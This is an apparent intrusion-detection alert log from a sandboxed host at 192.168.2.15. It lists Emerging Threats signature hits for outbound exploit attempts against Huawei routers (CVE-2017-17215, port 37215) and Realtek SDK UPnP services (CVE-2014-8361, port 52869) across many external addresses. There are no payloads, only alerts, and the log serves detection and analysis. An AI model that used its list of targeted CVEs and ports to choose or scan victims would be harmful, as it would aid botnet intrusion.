07/20/24-23:10:56.007995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54622	37215	192.168.2.15	41.36.226.98
07/20/24-23:10:51.988569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57458	52869	192.168.2.15	194.51.38.79
07/20/24-23:10:52.045896	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45006	52869	192.168.2.15	88.192.240.239
07/20/24-23:10:40.644796	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56962	37215	192.168.2.15	157.50.118.84
07/20/24-23:10:44.786243	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32850	52869	192.168.2.15	159.7.254.101
07/20/24-23:10:40.658204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36836	37215	192.168.2.15	115.19.25.169
07/20/24-23:10:58.998725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38628	37215	192.168.2.15	41.102.28.237
07/20/24-23:10:47.662315	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58370	52869	192.168.2.15	190.79.37.161
07/20/24-23:10:51.915099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59298	52869	192.168.2.15	145.210.186.189
07/20/24-23:10:59.046417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33680	37215	192.168.2.15	192.141.31.68
07/20/24-23:10:42.250387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39544	37215	192.168.2.15	157.144.129.13
07/20/24-23:10:49.450306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39930	37215	192.168.2.15	41.64.188.170
07/20/24-23:10:45.885505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52442	52869	192.168.2.15	111.84.141.243
07/20/24-23:10:59.057854	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55310	37215	192.168.2.15	197.63.105.252
07/20/24-23:10:52.016220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43018	52869	192.168.2.15	95.10.158.177
07/20/24-23:10:46.779706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54656	37215	192.168.2.15	49.211.189.109
07/20/24-23:10:59.057855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49888	37215	192.168.2.15	41.85.172.181
07/20/24-23:10:41.233111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36898	37215	192.168.2.15	157.230.83.224
07/20/24-23:11:03.381593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45936	37215	192.168.2.15	157.61.178.128
07/20/24-23:10:46.567653	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46348	52869	192.168.2.15	17.184.223.151
07/20/24-23:10:52.563890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40752	37215	192.168.2.15	197.130.7.41
07/20/24-23:10:40.649994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39514	37215	192.168.2.15	197.226.228.189
07/20/24-23:10:39.479939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54602	37215	192.168.2.15	182.92.42.223
07/20/24-23:11:06.689939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45446	37215	192.168.2.15	197.160.32.39
07/20/24-23:10:56.030930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46288	37215	192.168.2.15	65.202.175.248
07/20/24-23:11:06.687949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60626	37215	192.168.2.15	157.50.43.203
07/20/24-23:10:39.438615	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48166	37215	192.168.2.15	41.99.38.42
07/20/24-23:10:52.564314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57518	37215	192.168.2.15	41.145.69.35
07/20/24-23:10:41.230206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55730	37215	192.168.2.15	197.92.173.148
07/20/24-23:10:51.940556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46112	52869	192.168.2.15	120.182.174.145
07/20/24-23:10:49.360961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45196	37215	192.168.2.15	197.60.50.224
07/20/24-23:11:06.662677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55708	37215	192.168.2.15	41.196.125.174
07/20/24-23:10:39.493967	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39416	37215	192.168.2.15	168.198.240.255
07/20/24-23:10:52.551688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42154	37215	192.168.2.15	41.171.21.228
07/20/24-23:10:52.521111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46958	37215	192.168.2.15	157.102.220.120
07/20/24-23:10:39.783023	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40676	52869	192.168.2.15	217.115.151.81
07/20/24-23:10:51.928255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52786	52869	192.168.2.15	199.248.104.114
07/20/24-23:10:51.955739	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40260	52869	192.168.2.15	163.24.64.153
07/20/24-23:10:52.571075	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60290	37215	192.168.2.15	41.99.68.139
07/20/24-23:11:06.646712	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35602	37215	192.168.2.15	41.253.19.155
07/20/24-23:10:41.223199	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56412	37215	192.168.2.15	197.29.196.90
07/20/24-23:10:39.190217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40426	52869	192.168.2.15	143.77.32.144
07/20/24-23:10:39.434124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53362	37215	192.168.2.15	9.118.192.30
07/20/24-23:10:42.262762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57978	37215	192.168.2.15	157.24.244.61
07/20/24-23:10:42.621912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38156	52869	192.168.2.15	219.152.75.176
07/20/24-23:10:44.624474	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38818	52869	192.168.2.15	163.24.64.153
07/20/24-23:10:52.029203	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35110	52869	192.168.2.15	154.174.121.129
07/20/24-23:10:51.983128	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34926	52869	192.168.2.15	222.95.36.229
07/20/24-23:10:52.581805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56466	37215	192.168.2.15	157.165.101.142
07/20/24-23:10:39.066287	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44182	52869	192.168.2.15	19.2.120.96
07/20/24-23:11:03.396635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45724	37215	192.168.2.15	197.129.166.243
07/20/24-23:10:44.218779	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48182	52869	192.168.2.15	154.24.39.249
07/20/24-23:10:51.900424	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47478	52869	192.168.2.15	166.169.25.66
07/20/24-23:10:41.230071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46580	37215	192.168.2.15	197.185.91.102
07/20/24-23:10:39.430384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41284	37215	192.168.2.15	107.103.239.103
07/20/24-23:10:39.106885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60776	52869	192.168.2.15	61.146.90.23
07/20/24-23:10:42.661464	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60874	52869	192.168.2.15	206.49.109.215
07/20/24-23:10:49.355429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34500	37215	192.168.2.15	197.206.129.136
07/20/24-23:10:40.649994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55858	37215	192.168.2.15	41.91.198.123
07/20/24-23:10:41.231186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39992	37215	192.168.2.15	41.202.161.142
07/20/24-23:10:49.428717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51824	37215	192.168.2.15	140.237.151.135
07/20/24-23:10:46.756934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53286	37215	192.168.2.15	210.246.215.230
07/20/24-23:10:51.995612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57520	52869	192.168.2.15	75.64.8.241
07/20/24-23:10:39.096301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46692	52869	192.168.2.15	5.162.60.136
07/20/24-23:11:06.688603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41732	37215	192.168.2.15	197.70.127.226
07/20/24-23:10:40.374807	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48182	52869	192.168.2.15	109.51.3.47
07/20/24-23:10:42.630026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54654	52869	192.168.2.15	189.107.255.223
07/20/24-23:10:40.054753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49796	52869	192.168.2.15	151.94.173.235
07/20/24-23:10:52.033728	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46466	52869	192.168.2.15	183.106.234.57
07/20/24-23:10:41.224086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36266	37215	192.168.2.15	41.122.22.46
07/20/24-23:10:40.649994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48172	37215	192.168.2.15	41.158.40.220
07/20/24-23:10:56.046357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48932	37215	192.168.2.15	197.20.149.223
07/20/24-23:11:06.689939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46648	37215	192.168.2.15	197.17.109.224
07/20/24-23:10:46.724339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58000	37215	192.168.2.15	197.167.254.77
07/20/24-23:10:52.571075	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53658	37215	192.168.2.15	41.51.80.154
07/20/24-23:10:55.995070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50176	37215	192.168.2.15	157.152.98.79
07/20/24-23:10:51.940743	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41188	52869	192.168.2.15	34.33.224.36
07/20/24-23:10:42.621600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39290	52869	192.168.2.15	217.58.36.234
07/20/24-23:10:42.625971	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39152	52869	192.168.2.15	37.21.17.204
07/20/24-23:11:06.689940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54716	37215	192.168.2.15	197.164.61.105
07/20/24-23:10:42.250387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55058	37215	192.168.2.15	157.168.3.223
07/20/24-23:10:41.237255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55846	37215	192.168.2.15	157.92.61.85
07/20/24-23:11:06.676715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51452	37215	192.168.2.15	197.25.251.89
07/20/24-23:10:42.273908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43966	37215	192.168.2.15	197.181.234.52
07/20/24-23:10:42.621600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41120	52869	192.168.2.15	143.77.32.144
07/20/24-23:10:51.961781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33582	52869	192.168.2.15	86.108.11.155
07/20/24-23:10:39.955060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42578	52869	192.168.2.15	187.182.235.57
07/20/24-23:10:44.523833	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39432	52869	192.168.2.15	136.211.29.117
07/20/24-23:10:49.404246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56658	37215	192.168.2.15	42.7.241.18
07/20/24-23:10:43.071291	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60056	52869	192.168.2.15	118.155.226.123
07/20/24-23:10:44.251532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43946	52869	192.168.2.15	31.77.81.9
07/20/24-23:10:47.633936	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50034	52869	192.168.2.15	83.91.222.86
07/20/24-23:10:49.288690	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36534	37215	192.168.2.15	62.157.229.217
07/20/24-23:10:56.030930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57328	37215	192.168.2.15	208.45.139.203
07/20/24-23:10:49.421978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43032	37215	192.168.2.15	68.156.222.49
07/20/24-23:10:52.569477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54524	37215	192.168.2.15	159.243.190.45
07/20/24-23:10:49.398416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53948	37215	192.168.2.15	41.160.8.38
07/20/24-23:11:06.676715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57408	37215	192.168.2.15	197.147.174.34
07/20/24-23:10:40.653603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45884	37215	192.168.2.15	157.106.18.30
07/20/24-23:10:41.221769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42326	37215	192.168.2.15	197.142.98.9
07/20/24-23:10:45.058671	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49738	52869	192.168.2.15	51.195.43.231
07/20/24-23:10:46.735704	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36416	37215	192.168.2.15	221.4.245.164
07/20/24-23:10:52.521111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59510	37215	192.168.2.15	157.238.7.131
07/20/24-23:10:40.653603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52366	37215	192.168.2.15	157.221.114.39
07/20/24-23:10:41.241817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40196	37215	192.168.2.15	41.36.132.118
07/20/24-23:10:46.735703	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39392	37215	192.168.2.15	159.33.199.140
07/20/24-23:10:46.865461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41094	37215	192.168.2.15	41.20.107.59
07/20/24-23:10:47.861105	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32866	52869	192.168.2.15	47.132.43.96
07/20/24-23:11:06.689940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34716	37215	192.168.2.15	157.146.57.65
07/20/24-23:10:41.221879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45168	37215	192.168.2.15	157.234.79.175
07/20/24-23:10:51.915608	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47234	52869	192.168.2.15	137.140.74.50
07/20/24-23:10:39.497131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54880	37215	192.168.2.15	41.160.200.207
07/20/24-23:10:49.428717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51582	37215	192.168.2.15	41.1.254.127
07/20/24-23:10:39.148191	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60590	52869	192.168.2.15	166.78.169.15
07/20/24-23:10:49.355429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60866	37215	192.168.2.15	41.219.1.200
07/20/24-23:11:03.390577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47392	37215	192.168.2.15	157.37.146.4
07/20/24-23:10:59.029814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55600	37215	192.168.2.15	84.144.64.84
07/20/24-23:10:39.431804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39720	37215	192.168.2.15	41.48.64.8
07/20/24-23:10:43.566203	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50488	52869	192.168.2.15	217.179.58.161
07/20/24-23:10:59.032609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46860	37215	192.168.2.15	157.27.129.245
07/20/24-23:10:52.007232	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46358	52869	192.168.2.15	171.65.238.111
07/20/24-23:10:51.937938	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49240	52869	192.168.2.15	130.31.106.211
07/20/24-23:10:46.756934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36804	37215	192.168.2.15	197.133.143.135
07/20/24-23:10:46.779706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43124	37215	192.168.2.15	190.40.222.140
07/20/24-23:10:43.602039	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40648	52869	192.168.2.15	221.255.54.167
07/20/24-23:10:55.995070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53062	37215	192.168.2.15	157.245.203.100
07/20/24-23:10:47.755057	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38948	52869	192.168.2.15	141.20.236.188
07/20/24-23:10:42.632104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57850	52869	192.168.2.15	91.159.64.203
07/20/24-23:10:52.010300	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42234	52869	192.168.2.15	86.99.249.186
07/20/24-23:10:46.756934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50258	37215	192.168.2.15	186.61.106.15
07/20/24-23:10:47.984093	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35902	52869	192.168.2.15	119.225.230.240
07/20/24-23:10:46.768902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36978	37215	192.168.2.15	197.159.22.204
07/20/24-23:10:39.125097	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38250	52869	192.168.2.15	131.159.98.164
07/20/24-23:10:41.220904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57034	37215	192.168.2.15	41.11.55.143
07/20/24-23:10:45.518508	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54380	52869	192.168.2.15	133.76.164.119
07/20/24-23:10:39.889709	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54014	52869	192.168.2.15	116.118.210.76
07/20/24-23:10:51.902170	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51204	52869	192.168.2.15	164.168.209.243
07/20/24-23:10:43.864804	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58226	52869	192.168.2.15	202.116.72.105
07/20/24-23:10:39.473748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40464	37215	192.168.2.15	197.182.32.204
07/20/24-23:10:40.649804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37594	37215	192.168.2.15	197.30.201.248
07/20/24-23:11:06.686627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51680	37215	192.168.2.15	157.30.88.50
07/20/24-23:11:06.689532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59400	37215	192.168.2.15	157.193.183.229
07/20/24-23:10:39.434366	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40632	37215	192.168.2.15	157.219.83.230
07/20/24-23:10:43.552962	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37660	52869	192.168.2.15	134.159.51.161
07/20/24-23:10:51.951774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53538	52869	192.168.2.15	8.13.226.92
07/20/24-23:10:42.248539	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54990	37215	192.168.2.15	157.206.206.167
07/20/24-23:10:41.227410	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43682	37215	192.168.2.15	157.251.184.233
07/20/24-23:10:52.547373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47476	37215	192.168.2.15	157.178.151.25
07/20/24-23:10:59.050849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50628	37215	192.168.2.15	197.143.73.208
07/20/24-23:10:45.091662	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37338	52869	192.168.2.15	86.101.91.169
07/20/24-23:10:45.219029	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54138	52869	192.168.2.15	140.169.88.3
07/20/24-23:10:51.970585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38298	52869	192.168.2.15	154.244.223.55
07/20/24-23:10:52.572631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42236	37215	192.168.2.15	73.156.239.191
07/20/24-23:10:49.355429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45082	37215	192.168.2.15	197.139.255.152
07/20/24-23:10:51.931701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36148	52869	192.168.2.15	192.147.178.21
07/20/24-23:11:03.306275	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54862	37215	192.168.2.15	157.119.182.240
07/20/24-23:10:39.168210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38544	52869	192.168.2.15	191.96.230.47
07/20/24-23:10:40.652868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52524	37215	192.168.2.15	140.238.108.223
07/20/24-23:10:41.224086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39318	37215	192.168.2.15	41.114.104.228
07/20/24-23:10:49.425318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57318	37215	192.168.2.15	157.255.193.251
07/20/24-23:10:51.983127	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44636	52869	192.168.2.15	166.45.141.212
07/20/24-23:10:47.823344	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39140	52869	192.168.2.15	2.202.26.203
07/20/24-23:10:42.272034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38322	37215	192.168.2.15	77.45.128.145
07/20/24-23:10:52.060416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53192	52869	192.168.2.15	154.8.108.34
07/20/24-23:11:06.676715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39852	37215	192.168.2.15	197.163.20.216
07/20/24-23:10:59.029814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57584	37215	192.168.2.15	157.219.181.162
07/20/24-23:10:55.984751	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41462	37215	192.168.2.15	168.40.43.172
07/20/24-23:10:56.011228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52608	37215	192.168.2.15	197.135.90.131
07/20/24-23:10:40.599066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48400	37215	192.168.2.15	41.211.198.240
07/20/24-23:11:06.662677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39344	37215	192.168.2.15	197.16.139.162
07/20/24-23:10:51.999918	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47492	52869	192.168.2.15	101.180.103.77
07/20/24-23:10:42.630026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40126	52869	192.168.2.15	108.128.208.18
07/20/24-23:10:44.760251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36560	52869	192.168.2.15	63.75.117.57
07/20/24-23:10:51.915609	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59672	52869	192.168.2.15	178.155.139.110
